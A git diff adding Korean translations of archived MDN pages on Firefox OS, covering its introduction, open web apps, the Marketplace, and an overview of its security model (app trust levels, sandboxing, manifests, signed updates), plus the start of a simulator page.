diff --git a/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html b/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html new file mode 100644 index 0000000000..437b48c562 --- /dev/null +++ b/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html @@ -0,0 +1,14 @@ +--- +title: Firefox OS에 대하여. +slug: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS +translation_of: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS +--- +
+

Firefox OS 는 모질라의 Boot to Gecko (B2G) 프로젝트에 의해 개발된 새로운 모바일 운영체제 입니다. 리눅스 커널을 사용하고 Gecko-based runtime 엔진을 통해 구동됩니다. 이로서 사용자들은 JavaScriptHTML, 그리고 다른 오픈소스 웹 어플리케이션 API를 사용하여 만든 앱들을 사용할 수 있게 되었습니다.

+
+

Firefox OS ("Boot to Gecko" 또는 "B2G"라는 코드명으로도 불립니다) 는 모질라의 오픈소스 모바일 운영체제입니다. 리눅스 커널에 기반했으며, HTML, CSS, JavaScript, 그리고 오픈소스 웹 어플리케이션 API를 구동하는 Gecko-based runtime 엔진으로 구동됩니다. Firefox OS는 또한 독점 기술로부터 자유로운 모바일 운영체제이기도 합니다. 즉, 앱 개발자들에게 그들이 원하는 끝내주는 것들을 만들게 해 주는 기회를 제공하는 강력한 플랫폼이기도 합니다. 게다가, 이것은 최종적으로 사용자에게 행복을 줄 수 있을 만큼 유연하고 포용력 있는 운영체제이기도 합니다.

+

+

Firefox OS는 Gaia라는 기본 설치 앱과 함께 제공됩니다. Gaia는 핸드폰의 기본적인 기능들인 설정, 통화, SMS, 사진촬영 및 편집, 그리고 그 외의 것들을 관리합니다.

+

웹 개발자들에게 이해시켜야 할 가장 중요한 부분은, '모든 사용자 인터페이스(UI)가 웹을 기반한 어플리케이션이라는 것입니다. 다른 웹 기반 어플리케이션을 구동하고, 화면에 표시하는 것이 가능한 웹 어플리케이션이라는 것이죠. 당신이 사용자 인터페이스에 적용하는 모든 수정과, 당신이 Firefox OS에서 구동시키기 위해 만드는 모든 앱들은, 모바일 기기와 서비스에 대한 향상된 접근에도 불구하고. 웹페이지입니다.

+

Firefox OS는 현재 엄청난 개발단계중에 있습니다. 우리는 당신에게 Gaia와 앱 개발을 더 쉽게 만들어주기 위해 끊임없이 노력중입니다.

+

Firefox OS에 대한 더 많은 정보를 원하신다면 Firefox OS content zone으로 와 주십시오.

diff --git a/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html b/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html new file mode 100644 index 0000000000..50f550e7c3 --- /dev/null +++ b/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html @@ -0,0 +1,53 @@ +--- +title: 개방형 웹 앱 소개 +slug: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps +translation_of: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps +--- +

Multi devices

+
+

이 글은 개발자, 프로젝트 매니저, 또는 앱 개발과 배포에 관련이 있는 사람 등 개방형 웹 앱을 배우고자 하는 모든이들에게 좋은 출발점이 되고자 합니다. 이 글에서는 개방형 웹 앱에 대해 대략적인 개요를 가볍게 설명하고 개방형 웹 앱의 철학에 대해 소개합니다.

+
+

개방형 웹 앱은 기본적으로 일반적인 웹 사이트나 웹 페이지와 다르지 않습니다. 개방형 웹 앱은 HTML, CSS, JavaScript 등 개방된 표준 웹 기술을 사용하고 웹 브라우저를 통해 접근할 수 있습니다. 가장 큰 차이는 디바이스에 설치될 수 있는지, 오프라인일 때 작동할 수 있는지, 그리고 카메라, 주소록과 같은 디바이스 기능과 인터렉션할 수 있는 더 발전된 API 에 접근할 수 있는지 등 그 기능들에 있습니다. 또한 개방형 웹 앱은 공개된 기술을 최대한 이용해 만들어집니다. 플랫폼들 사이에 아직 구현되지 않은 기술들이 있을 수 있기 때문에 피쳐 디텍션(feature detection)과 여러 플랫폼에서 작동하는 코드, 그리고 우아한 성능저하(graceful degradation)를 통해 웹 브라우저와 디바이스 모두를 지원하는 노력이 필요합니다.

+

개방형 웹 앱의 장점

+

개방형 웹 앱의 장점에 대해 조금 더 자세히 알아봅시다:

+ +

아래 동영상도 개방형 웹 앱의 일반적인 장점과 Firefox OS 플랫폼에서의 개발에 대해 다루고 있습니다.

+

+

웹이 바로 플랫폼 입니다.

+

개방형 웹 앱은 그 자체로서 Firefox OS 와 같은 플랫폼에 설치된 상태로 존재합니다. 브라우저의 즐겨찾기가 아니라 정당한 시스템의 한 부분으로 존재합니다. 개방형 웹 앱의 미래는 무척 밝습니다. 개방형 웹 앱은 우리가 잡아야하는 기회이지만 놓치게 된다면 웹은 다시 한번 쪼개지게 될 것입니다. 이런 관점에서 보면 개방형 웹 앱(줄여서 OWA)이 표준화되어 “웹”의 일부가 되는 것을 지향하고 있다는 것이 명확해집니다. 만약 성공한다면 OWA 는 향후 모든 브라우저, 운영체제, 디바이스에서 작동하게 될 것입니다.

+

Mozilla 에서 우리는 개방된 웹이 전적으로 지원하는 앱 플랫폼을 만들기 위해 열심히 노력하고 있습니다. “Mozilla 플랫폼” 이라던지 “Firefox 플랫폼”이 되는 것을 원하는 것이 아닙니다. 웹이 바로 플랫폼 입니다. 우리는 공개 API 들을 만들고, 어떻게 포터블 앱이 벤더에 종속적이지 않고도 존재할 수 있는지 보여주는 구현물을 만듭니다. Facebook 이나 Google Chrome 등 다른 그룹들도 웹 앱을 만들고 있습니다. Facebook 앱은 Facebook 서비스에 장착할 수 있도록 하는 고리를 뜻하고, Chrome 앱은 Chrome OS 디바이스와 Google 서버를 위해 설계되었습니다. Chrome 앱은 개방형 웹 앱과 굉장히 비슷합니다. 우리는 Google Chrome 팀과 앱 표준의 발전을 위해 지속적으로 협력합니다. 또한 우리는 매우 많은 비전을 공유합니다. 모든 웹 기반 앱 플랫폼들은 통합 가능성이 매우 크므로 우리는 우리가 올바른 개방형 웹 앱 API 를 만들 수 있게 도와줄 모든 벤더들을 환영합니다.

+

비록 현재로서는 개방형 웹 앱은 Mozilla Firefox 기반의 엔진(“Web 런타임”)에서만 구동되지만, 이것이 절대적인 것은 아닙니다. 개방형 웹 앱 프로젝트의 많은 부분들은 아직도 작업 중이고 한번에 모든 브라우저에서 모든 것을 구현하는 것은 불가능합니다. 개방형 웹 앱의 많은 부분은 이미 표준화 되었지만 다른 많은 부분은 아직 유동적입니다. 우리는 개방형 웹 앱이 모든 주요 브라우저에서 사용가능한 표준이 되는 것을 지향하고 바랍니다.

+

따라서 개방형 웹 앱에 대해 다룬 MDN 페이지를 읽을 때에는, 지금으로선 많은 정보들이 Firefox 에 특화된 정보일지라도, 미래에는 모든 브라우저에서 동작하는 개방형 웹 앱의 개발 정보가 될 수 있음을 명심하시기 바랍니다.

+

웹 표준

+

OWA 기술은 단일 기술로 이루어진 것이 아닙니다. OWA 기술은 많은 기술들의 집단들을 포괄하고 있으며 그 중 일부는 초기 기술들입니다. 지금으로서는 OWA 의 일부가 표준화되어 있습니다(HTML5, CSS, JavaScript, IndexedDb 등등). 그 외 부분들은 아직 표준화되지 않았기 때문에 Mozilla 의 구현은 Firefox 전용 구현이거나 다른 Mozilla 기술에서만 동작하는 구현일 수 있습니다. 모두에게 공유하고 권한을 주자는 Mozilla 의 사명처럼 이 상황은 일시적인 것 입니다. 따라서 우리는 OWA 문서들에 아직 표준화 되지 않은 OWA 기술들을 명확히 알 수 있게 하려고 합니다.

+

Mozilla 에서 사용하고 있지 않은 OWA 관련 제안들과 잠재적인 표준들도 있을 수 있습니다.

+

향후 표준이 되는 기술

+

여기에는 현재 다른 웹 플랫폼에서 아직 표준화되지 않아 Firefox 에서만 동작하는 기술들의 모음입니다:

+ +

Marketplace

+

한번 구매하면 모든 곳에서 사용할 수 있습니다.

+

Mozilla 는 개발 초기부터 사용자가 한번 구입하면 사용자가 가진 모든 HTML5 지원 디바이스에서 실행할 수 있는 앱 시스템을 개발해왔습니다. Mozilla 는 곧 최초의 Firefox OS 폰을 발매 할 예정이고 이 폰에서 구매한 앱들은 다른  디바이스에서도 실행할 수 있게 됩니다. Firefox Marketplace 를 통해 앱을 구매하면 앱 시스템이 디바이스에 영수증을 설치합니다. 영수증은 JSON Web Token 으로 Marketplace 의 공개키와 영수증을 검증하는 서비스 URL 으로 연결하는 메타데이터가 담겨있습니다. 앱이 실행되면서 이 영수증을 검증할 수는 있지만 디바이스 내의 이 영수증이 Firefox Marketplace 에 묶이는 것은 아닙니다. 이 영수증은 구매 증명서가 암호화된 것 뿐입니다. 이 영수증 규격을 따르면 누구나 개방형 웹 앱을 판매할 수 있습니다. 여러분이 앱을 구매하는 것은 곧 개방형 웹 앱 시스템을 지원하는 어느 디바이스에서든지 사용할 수 있게됨을 의미합니다.

+

Mozilla는 개방형 웹 앱을 모든 HTML5 지원 디바이스에서 구동시킬 수 있게 하는 인프라를 구축하고 있습니다. Android용 Firefox에서는 앱을 설치하고 실행할 수 있습니다. (nightly 빌드에서 지금 확인할 수 있습니다). 설치한 앱의 아이콘은 일반 Android 앱과 마찬가지로 홈 화면에 추가됩니다. 이미 Windows, Mac, or Linux 데스크탑 홤경에서 Firefox 를 사용해 웹앱을 설치하고 실행할 수 있습니다. (현재 nightly 빌드에서 작동하고 있습니다). 지금은 몇몇 Firefox 버전에서만 지원하고 있지만, 나중에는 모든 주요 브라우저들이 일련의 표준으로서 개방형 웹 앱 시스템을 지원하도록 만들고자 합니다. Mozilla 는 초기부터 HTML5를 지원하는 모든 주요 브라우저에서 이런 생각을 구현하는 방법에 대해 고려해왔습니다. 이와 관련해 Firefox 외의 브라우저에서 앱 플랫폼을 지원하는 방법을 구상한 이 자바스크립트 shim 을 참고하시기 바랍니다.

+

향후 개방형 웹 시스템에는 설치된 앱을 여러 디바이스로 동기화하는 기능이 추가될 것입니다. 영수증은 디바이스끼리 이동시킬 수 있으므로 원한다면 직접 동기화할 수도 있습니다. 단정할 수는 없지만 개방형 웹 앱은 기존의 웹사이트들과 다르지 않기 때문에 무료로 제공되는 개방형 웹 앱은 어느 브라우저에서나 실행할 수 있을 것입니다. 그러나 일부 플랫폼에서만 구현된 새로운 모바일 전용 웹 API를 사용했을 수도 있습니다.

+

아래 동영상에서 개방형 마켓플레이스의 장점과 개방된  웹이 앱 검색과 가까워지는 과정에 대해 간단히 살펴볼 수 있습니다.

+

+

WebPayment API

+

앱 상거래

+

iOS와 Android 등의 모바일 앱 플랫폼이 성공한 배경 중 하나는 이들이 모바일 결제를 통해 아주 쉽게 새로운 비즈니스 모델들을 창출할 수 있게 했기 때문입니다. 이런 비즈니스 모델들은 아직 발전단계임에도 이미 모바일에서의 상거래가 데스크탑 웹에서보다 더 자연스럽습니다. 특히 어쨌든 이미 휴대폰에서 접근중이라면 휴대전화 요금에 포함시켜 과금하는 것이 매우 편리합니다. 개방형 웹 앱 생태계는 Firefox OS 출시와 함께 WebPayment API를 통해 유료 앱 결제와 앱 내 결제를 지원할 것입니다. 상거래를 지원하는 것은 앱 플랫폼의 성장에 필수적입니다. 제시된 결제 API를 사용할지는 완전한 선택사항입니다. Mozilla 는 모든 앱의 독자적인 앱 내 결제를 허용할 것입니다.

+

더 보기

+ diff --git a/files/ko/archive/b2g_os/security/index.html b/files/ko/archive/b2g_os/security/index.html new file mode 100644 index 0000000000..3441a62463 --- /dev/null +++ b/files/ko/archive/b2g_os/security/index.html @@ -0,0 +1,58 @@ +--- +title: 보안 +slug: Archive/B2G_OS/Security +translation_of: Archive/B2G_OS/Security +--- +

이 문서는 Firefox OS의 보안과 관련된 내용입니다. 이 내용은 어플리케이션 보안 뿐만 아닌 전반적인 보안에 대한 내용과 설치 과정이 어떻게 안전하게 유지되는지를 포함하고 있습니다.

+ + + + + + + +
+

Firefox OS  보안 관련 문서들

+
+
+ Firefox OS 보안 모델
+
+ Firefox OS의 보안 모델에 관한 개요
+
+ Application security in Firefox OS
+
+ An overview of how applications are made secure on Firefox OS.
+
+ Securely installing and updating applications
+
+ How Firefox OS securely installs and updates applications.
+
+ Software permissions in Firefox OS
+
+ A guide to what types of software have permission to perform various tasks on Firefox OS.
+
+

View All...

+
+

커뮤니티로부터 도움 받기

+

If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!

+ +
    +
  • Ask your question on Mozilla's Boot to Gecko IRC channel: #b2g
  • +
+

Don't forget about the netiquette...

+
+ + +
+

 

diff --git "a/files/ko/archive/b2g_os/security/\353\263\264\354\225\210_\353\252\250\353\215\270/index.html" "b/files/ko/archive/b2g_os/security/\353\263\264\354\225\210_\353\252\250\353\215\270/index.html" new file mode 100644 index 0000000000..75b129cd6f --- /dev/null +++ "b/files/ko/archive/b2g_os/security/\353\263\264\354\225\210_\353\252\250\353\215\270/index.html" @@ -0,0 +1,253 @@ +--- +title: Firefox OS 보안 모델 +slug: Archive/B2G_OS/Security/보안_모델 +tags: + - B2G + - Firefox OS + - IPC + - IPDL + - Korean + - 가이드 + - 모바일 + - 보안 +translation_of: Archive/B2G_OS/Security/Security_model +--- +

이 문서는 모바일 기기의 폴렛폼, 앱이나 데이터들을 지켜주는 Firefox OS 보안 프레임워크의 개요입니다. Mozilla는 Firefox OS에 여러가지 보안 문제들에 관한 최선의 보호를 제공해주는 매우 자세한, 일체화된, 다중 레이어의 보안 모델을 적용하였습니다.

+

폴렛폼 보안

+

Firefox OS 폴렛폼은 모든 단계에서 취약점들을 완화시켜주도록 디자인된 다중 레이어 보안 모델을 사용합니다. Front-line 대응조치들은 위협으로부터 세밀한 보호를 제공하는 심층 방어 전략과 같이 합쳐집니다.

+

보안 아키텍처

+

Firefox OS는 웹 기반 어플리케이션들과 그 아래 존재하는 하드웨어를 연결시켜 줍니다. Firefox OS는 아래 나와있는 여러 단계들로 구성된 일체화된 기술적 스택입니다.

+

+

Mobile device는 FirefoxOS를 돌리고 있는 모바일 기기를 뜻합니다. Gonk는 리눅스 커널, 시스템 라이브러리들, 펌웨어 그리고 디바이스 드라이버들로 이루어저 있습니다. Gecko는 앱 실행을 위한 프레임워크를 제공하며 모바일 기기들이 사용하는 Web API들을 내재하고 있는 어플케이션 런타임 레이어입니다. Gaia는 사용자들의 경험을 제공하는 웹 앱들의 모임체입니다(앱들은 HTML5, CSS, JavaScript, images, media 등등으로 이루워저 있습니다).

+

Gecko is the gatekeeper that enforces security policies designed to protect the mobile device from misuse. The Gecko layer acts as the intermediary between web apps (at the Gaia layer) and the phone. Gonk delivers features of the underlying mobile phone hardware directly to the Gecko layer. Web apps access mobile phone functionality only through the Web APIs, and only if Gecko allows the access request – there is no direct access, no “back door” into the phone. Gecko enforces permissions and prevents access to unauthorized requests.

+

안전한 시스템 개발

+

Firefox OS comes installed on the smart phone. The original system image is created by a known, trusted source – usually the device OEM – that is responsible for assembling, building, testing, and digitally signing the distribution package.

+

Security measures are used throughout the technology stack. File system privileges are enforced by Linux's access control lists (ACLs). System apps are installed on a volume that is read-only (except during updates, when it is temporarily read-write). Only areas containing user content may be read-write. Various components within the device hardware have built-in protections that are implemented by default as standard industry practice. Chipset manufacturers, for example, employ hardening techniques to reduce vulnerabilities. The core platform (Gecko and Gonk) is hardened to strengthen its defense against potential threats, and hardening features of the compiler are used where applicable. For further details see Runtime security.

+

안전한 시스템 업데이트

+

Subsequent upgrades and patches to the Firefox OS platform are deployed using a secure Mozilla process that ensures the ongoing integrity of the system image on the mobile phone. The update is created by a known, trusted source – usually the device OEM – that is responsible for assembling, building, testing, and digitally signing the update package.

+

System updates can involve all or a portion of the Firefox OS stack. If changes to Gonk are included in the update, then FOTA (Firmware Over the Air) is the install process used. FOTA updates can also include any other part of the Firefox OS stack, including device management (FOTA, firmware / drivers), settings management (Firefox OS settings), security updates, Gaia, Gecko, and other patches.

+

Updates that do not involve Gonk can be done using the Mozilla System Update Utility. Firefox OS uses the same update framework, processes, and Mozilla ARchive (MAR) format (used for update packages) as the Firefox Desktop product. For more information, see https://wiki.mozilla.org/Software_Update.

+

A built-in update service – which may be provided by the OEM – on the mobile phone periodically checks for system updates. Once a system package becomes available and is detected by the update service, the user is prompted to confirm installation. Before updates are installed on the mobile device, the device storage is checked for sufficient space to apply the update, and the distribution is verified for:

+ +

The following security measures are used during the update process:

+ +

Rigorous checks are in place to ensure that the update is applied properly to the mobile phone.

+

앱 보안

+

Firefox OS uses a defense-in-depth security strategy to protect the mobile phone from intrusive or malicious applications. This strategy employs a variety of mechanisms, including implicit permission levels based on an app trust model, sandboxed execution at run time, API-only access to the underlying mobile phone hardware, a robust permissions model, and secure installation and update processes. For technical details, refer to: Application security.

+

In Firefox OS, all applications are web apps – programs written using HTML5, JavaScript, CSS, media, and other open Web technologies (pages running within the browser are not referred to as Web apps in this context). Because there are no binary ("native") applications installed by the user, all system access is mediated strictly through the Web APIs. Even access to the file system is only through Web APIs and a back-end SQLite database – there is no direct access from apps to files stored on the SD card.

+

Firefox OS limits and enforces the scope of resources that can be accessed or used by an app, while also supporting a wide range of apps with varying permission levels. Mozilla implemented tight controls over what type of applications can access which APIs. For example, only certified apps (shipped with the phone) can have access to the Telephony API. The Dialer app has privileges to access the Telephony API in order to make phone calls, but not all certified apps can access this API. This prevents a scenario, for example, in which an arbitrary third-party app gets installed, dials a pay-per-use phone number (900 and 910), and racks up a large cell phone bill. However, other OEM apps might be selectively given access to the Telephony API. For example, an Operator might provide a systems management application that allows a customer to manage their account, including the ability to phone the Operator’s billing or support office directly.

+

신뢰되는 앱과 안되는 앱들

+

Firefox OS는 앱들을 다음과 같은 종류들로 나눕니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + +
종류 +

신뢰 레벨

+
설명
인증됨(Certified)매우 신뢰 +

System apps that have been approved by the Operator or OEM (due to risk of device corruption or risk to critical functionality). System apps and services only; not intended for third-party applications.
+ This designation is reserved for just a small number of critical applications. Examples: SMS, Bluetooth, camera, system clock, telephony, and the default dialer (to ensure that emergency services are always accessible).

+
+

권한 받음(Privileged)

+
신뢰 +

Third-party apps that have been reviewed, approved, and digitally signed by an authorized Marketplace.

+
+

웹 (나머지 전부)

+
+

신뢰 안됨

+
+

Regular web content. Includes both installed apps (stored the mobile phone) and hosted apps (stored remotely, with only an app manifest stored on the mobile phone). The manifest for hosted apps can be obtained through a Marketplace.

+
+

An application’s trust level determines, in part, its ability to access mobile phone functionality.

+ +

Some operations, such as network access, are assumed to be an implicit permission for all apps. In general, the more sensitive the operation (for example, dialing a phone number or accessing the Contacts list), the higher the app trust level required to execute it.

+

권한 최소화 원칙

+

For web apps, the Firefox OS security framework follows the principle of least permissions: start with the absolute minimum permissions, then selectively grant additional privileges only when required and reasonable. By default, an app starts with very low permissions, which is comparable to untrusted web content. If the app makes Web API calls that require additional permissions, it must enumerate these additional permissions in its manifest (described later in this document). Gecko will consider granting Web API access to an application only if the applicable privileges are explicitly requested in its manifest. Gecko will grant the requested permission only if the type of the Web App (certified, trusted, or web) is sufficiently qualified for access.

+

권한 받은(Privileged) 앱들의 Marketplace 리뷰 과정

+

In order for an app to become privileged, the app provider must submit it for consideration to an authorized Marketplace. The Marketplace subjects the app to a rigorous code review process: verifying its authenticity and integrity, ensuring that requested permissions are used for the purposes stated (in the permission rationale), verifying that the use of implicit permissions is appropriate, and validating that any interfaces between privileged app content and unprivileged external content have the appropriate mitigations to prevent elevation of privilege attacks. The Marketplace has the responsibility to ensure that the web app will not behave maliciously with the permissions that it is granted.

+

After an app passes this review, it is approved for use, its app manifest is digitally signed by the Marketplace, and it is made available for mobile users to download. The signature ensures that, if the web store were somehow hacked, the hacker could not get away with installing arbitrary content or malicious code on users’ phones. Due to this vetting process, Firefox OS gives privileged apps obtained from a Marketplace a higher degree of trust than everyday (untrusted) web content.

+

패키지화된 앱들과 웹에 호스팅된 앱들

+

Apps for Firefox OS can be either packaged (stored on the mobile phone) or hosted (stored on a remote web server, with just a manifest stored on the mobile phone). There are some differences in the way in which security is managed for each. Nonetheless, packaged and hosted apps are both subject to application sandboxing, which is described later in this document.

+

패키지화된 앱들(Packaged Apps)

+

A packaged app consists of a ZIP file containing application resources (HTML5, CSS, JavaScript, images, media), as well as a manifest that provides an explicit list of assets and their corresponding hashes. Certified and privileged apps must be packaged apps because the app manifest needs to be digitally signed. When a user obtains a packaged app, the ZIP file is downloaded onto the mobile phone, and the manifest is read from a known location inside the ZIP file. During the install process, app assets are verified and remain stored locally in the package. All explicit permissions are requested at runtime, showing the user the app's data usage intentions, and persisted by default.

+

To refer to app resources in a packaged app, the URL begins with app: using the following format:

+

app://identifier/path_within_zipfile/file.html

+

where app:// represents the mount point for the ZIP file, and identifier is a UUID that is generated when the app is installed on the mobile phone. This mechanism ensures that resources referred to with an app: URL are contained in the ZIP file. The path within an app: is relative, so relative links to resources in the ZIP file are allowed.

+

While packaged apps are primarily intended to be used for Certified or Privileged apps, regular web apps can also be packaged. However, they do not gain any increase in trust or permissions access simply because they are packaged.

+

웹에 호스트된 앱들(Hosted Apps)

+

Hosted apps are located on a web server and loaded via HTTP. Only the app manifest is stored on the mobile phone. Everything else is stored remotely. Certain APIs are available only to privileged and certified apps, which requires the app to be packaged due to signing requirements. Therefore, a hosted app will not have access to any of the Web API operations that require privileged or certified app status.

+

From a security point of view, hosted apps work very much like normal websites. A hosted app is loaded by invoking a hard-coded, fully-qualified URL that points to the startup page in the root directory of the app on that web server. Once a hosted app is loaded, the mobile phone links to pages using the same URLs that are used when browsing the web site.

+

앱 Manifest(App Manifest)

+

An Open Web App manifest contains information that a Web browser needs in order to interact with an app. A manifest is a JSON file with (at a minimum) a name and description for the app. For further details, refer to FAQs about app manifests.

+

Manifest 예제

+

다음의 예제는 간단한 설정이 되어있는 앱 Manifest(App Manifest)를 보여줍니다.

+
{
+  "name": "My App",
+  "description": "My elevator pitch goes here",
+  "launch_path": "/",
+  "icons": {
+    "128": "/img/icon-128.png"
+  },
+  "developer": {
+    "name": "Your name or organization",
+    "url": "http://your-homepage-here.org"
+  },
+  "default_locale": "en"
+}
+

App Manifest에서의 보안 설정

+

아래 보안 항목들처럼 App Manifest는 여러가지 다른 항목을 포함할수 있습니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
+

항목

+
+

설명

+
+

permissions

+
+

Permissions required by the app. An app must list every Web API it intends to use that requires user permission. Most permissions make sense for privileged apps or certified apps, but not for hosted apps. Properties per API:

+
    +
  • description - A string specifying the intent behind requesting use of this API. Required.
  • +
  • access - A string specifying the type of access required for the permission. Implicit permissions are granted at install time. Required for only a few APIs. Accepted values: read, readwrite, readcreate, and createonly.
  • +
+
+

installs_allowed_from

+
+

Origin of the app. Array of origins (scheme+unique hostname) that are allowed to trigger installation of this app. Allows app providers to restrict installs from only an authorized Marketplace (such as https://marketplace.firefox.com/).

+
+

csp

+
+

Content Security Policy (CSP). Applied to all pages loaded in the app. Used to harden the app against bugs that would allow an attacker to inject code into the app. If unspecified, privileged and certified apps have system-defined defaults. Syntax:
+ https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp

+

Note that this directive can only increase the CSP applied. You cannot use it, for example, to reduce the CSP applied to a privileged App.

+
+

type

+
+

애플리케이션의 종류 (web, privileged, or certified).

+
+

Firefox OS requires that the manifest be served with a specific mime-type ("application/x-web-app-manifest+json") and from the same fully-qualified host name (origin) from which the app is served. This restriction is relaxed when the manifest app (and thus the app manifest) is same-origin with the page that requested the app to be installed. This mechanism is used to ensure that it's not possible to trick a website into hosting an application manifest.

+

샌드박스화된 실행

+

이 항목은 샌드박스화된 응용프로그램과 실행에 관해서 설명합니다.

+

응용프로그램 샌드박스

+

The Firefox OS security framework uses sandboxing as a defense-in-depth strategy to mitigate risks and protect the mobile phone, platform, and data. Sandboxing is a way of putting boundaries and restrictions around an app during run-time execution. Each app runs in its own worker space and it has access only to the Web APIs and the data it is permitted to access, as well as the resources associated with that worker space (IndexedDB databases, cookies, offline storage, and so on). For details, see https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Security_model.

+

The following figure provides an overview of this security model.

+

+

By isolating each app, its impact is contained within its own worker space. It cannot interfere with anything (such as other apps or their data) outside of that worker space.

+

실행 샌드박스

+

B2G (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. At runtime, each app runs inside an execution environment that is a child process of the B2G system process. Each child process has a restricted set of OS privileges – for example, a child process cannot directly read or write arbitrary files on the file system. Privileged access is provided through Web APIs, which are mediated by the parent B2G process. The parent ensures that, when a child process requests a privileged API, it has the necessary permission to perform this action.

+

Apps communicate only with the B2G core process, not with other processes or apps. Apps do not run independently of B2G, nor can apps open each other. The only “communication” between apps is indirect (for example, when a listener process detects an event generated by some other process), and is mediated through the B2G process.

+

하드웨어 접근을 Web API만으로 통할수 있게 제약

+

Web apps have only one entry point to access mobile phone functionality: the Firefox OS Web APIs, which are implemented in Gecko. Gecko provides the sole gateway to the mobile device and underlying services. The only way to access device hardware functionality is to make a Web API call. There is no “native” API and there are no other routes (no “back doors”) to bypass this mechanism and interact directly with the hardware or penetrate into low-level software layer.

+

보안 인프라

+

The following figure shows the components of this security framework:

+

+ +

관리(Management)와 시행(Enforcement)를 위한 퍼미션

+

Firefox OS security is designed to verify and enforce the permissions granted to web apps.
+ The system grants a particular permission to an app only if the content requests it, and only if it has the appropriate permissions requested in the app’s manifest. Some permissions require further authorization from the user, who is prompted to grant permission (as in the case of an app requesting access to the user’s current location). This app-centric framework provides more granular control over permissions than traditional role-centric approaches (in which individual roles are each assigned a set of permissions).

+

A given Web API has a set of actions and listeners. Each Web API has a required level of permission. Every time a Web API is called, Gecko checks permission requirements (role lookup) based on:

+ +

If the request does not meet the permission criteria, then Gecko rejects the request. For example, untrusted apps cannot execute any Web APIs that are reserved for trusted apps.

+

유저에게 권한에 대해서 물어보기

+

In addition to permissions that are implicitly associated with the web apps, certain operations require explicit permission from the user before they can be executed. For these operations, web apps are required to specify, in their manifest, their justification for requiring this permission. This data usage intention informs users about what the web app intends to do with this data if permission is granted, as well as any risk involved. This allows users to make informed decisions and maintain control over their data.

+

보안 앱 업데이트 과정

+

+

For app upgrades and patches to a privileged app, app providers submit the updated package to an authorized Marketplace, where it is reviewed and, if approved, signed and made available to users. On Firefox OS devices, an App Update Utility periodically checks for app updates. If an update is available, then the user is asked whether they want to install it. Before a update is installed on the mobile device, the package is verified for:

+ +

Rigorous checks are in place to ensure that the update is applied properly to the mobile phone.
+ The complete update package must be downloaded in a specific and secure location before the update process begins. Installation does not overwrite any user data.

+

기기 보안(하드웨어)

+

Security mechanisms for the mobile device hardware are typically handled by the OEM. For example, an OEM might offer SIM (Subscriber Identity Module) card locks, along with PUK (PIN Unlock Key) codes to unlock SIM cards that have become locked following incorrect PIN entries. Contact the OEM for details. Firefox OS does allow users to configure passcodes and timeout screens, which are described in the next section.

+

데이터 보안

+

Users can store personal data on their phone that they want to keep private, including contacts, financial information (bank & credit card details), passwords, calendars, and so on. Firefox OS is designed to protect against malicious apps that could steal, exploit, or destroy sensitive data.

+

비밀번호와 자동으로 꺼지는 화면

+

Firefox OS allows users to set a passcode to their mobile phone so only those who supply the passcode can use the phone. Firefox OS also provides a timeout screen that is displayed after a configurable period of phone inactivity, requiring passcode authentication before resuming use of the phone.

+

샌드박스화된 데이터

+

As described earlier, apps are sandboxed at runtime. This prevents apps from accessing data that belongs to other apps unless that data is explicitly shared, and the app has sufficient permissions to access it.

+

시리얼화된 데이터

+

Web apps do not have direct read and write access to the file system. Instead, all access to storage occurs only through Web APIs. Web APIs read from, and write to, storage via an intermediary SQLite database. There is no direct I/O access. Each app has its own data store, which is serialized to disk by the database.

+

데이터 파기

+

When a user uninstalls an app, all of the data (cookies, localStorage, Indexeddb, and so on) associated with that application is deleted.

+

프라이버시

+

Mozilla is committed to protecting user privacy and user data according to its privacy principles (https://www.mozilla.org/privacy/), which stem from the Mozilla Manifesto (https://www.mozilla.org/about/manifesto.html). The Mozilla Firefox Privacy Policy describes how Mozilla collects and uses information about users of the Mozilla Firefox web browser, including what Firefox sends to websites, what Mozilla does to secure data, Mozilla data practices, and so on. For more information, see:

+ +

Firefox OS는 이런 원칙들을 어디에 자신의 개인 정보가 갈지 결정하는 유저들에게 제어권을 줌으로서 적용합니다. Firefox OS는 다음과 같은 기능들을 제공합니다:

+ diff --git a/files/ko/archive/b2g_os/simulator/index.html b/files/ko/archive/b2g_os/simulator/index.html new file mode 100644 index 0000000000..0250696f04 --- /dev/null +++ b/files/ko/archive/b2g_os/simulator/index.html @@ -0,0 +1,280 @@ +--- +title: Firefox OS 시뮬레이터 +slug: Archive/B2G_OS/Simulator +translation_of: Archive/B2G_OS/Simulator +--- +
+

Firefox OS 시뮬레이터는 아직 개발 초기 단계입니다. 저희가 원하는만큼의 안정성과 완성도 없습니다.

+

버그를 발견하셨다면 GitHub에 보고 해주세요. 만약에 물어보실게 있으시다면 개발자 도구 메일링 리스트 irc.mozilla.org의 #devtools에서 질문해 주세요.

+

도움 받기 항목의 Verbose logging을 활성화 하는 방법과 최신 빌드를 받는 법을 읽어 주세요.

+
+

Firefox OS 시뮬레이터 부가 기능을 이용해 데스크톱 환경에서 Firefox OS 응용 프로그램을 테스트하고 디버깅 할 수 있습니다. 시뮬레이터에서는 실제 장치 사용하는 것보다도 Code-Test-Debug 주기가 빨라집니다. 또한 당연히 시뮬레이터를 사용하기 위해 실제 디바이스가 필요 없습니다.

+

근본적으로, 시뮬레이터 부가 기능 구성하는 것은 다음과 같습니다 :

+ +

아래 스크린 시뮬레이터를 사용한 디버깅 세션을 보여줍니다.

+

